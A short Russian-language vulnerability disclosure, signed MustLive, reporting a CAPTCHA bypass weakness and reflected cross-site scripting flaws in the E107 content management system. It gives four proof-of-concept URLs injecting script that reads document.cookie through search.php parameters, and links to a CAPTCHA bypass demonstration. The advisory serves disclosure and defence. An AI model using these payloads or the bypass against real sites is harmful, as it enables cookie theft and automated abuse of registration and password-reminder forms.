Vulnerabilities in E107

Здравствуйте 3APA3A!

Сообщаю вам о найденных мною Insufficient Anti-automation и Cross-Site Scripting уязвимостях в системе E107.

Insufficient Anti-automation:

Уязвимости в капче на странице отправки ссылки на новость. Которая уязвима к полуавтоматическому методу обхода (http://websecurity.com.ua/1595/). Эта же капча используется и на странице регистрации и на странице напоминания пароля.

http://websecurity.com.ua/uploads/2009/E107%20CAPTCHA%20bypass.html

XSS:

Уязвимости в search.php в параметрах in, ex, ep и be.

http://site/search.php?in=%27%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://site/search.php?ex=%27%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://site/search.php?ep=%27%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://site/search.php?be=%27%3Cscript%3Ealert(document.cookie)%3C/script%3E

К XSS уязвимы старые версии E107, а к Insufficient Anti-automation уязвимы все версии E107.

Дополнительная информация о данных уязвимостях у меня на сайте:
http://websecurity.com.ua/2841/

Best wishes & regards,
MustLive
Администратор сайта
http://websecurity.com.ua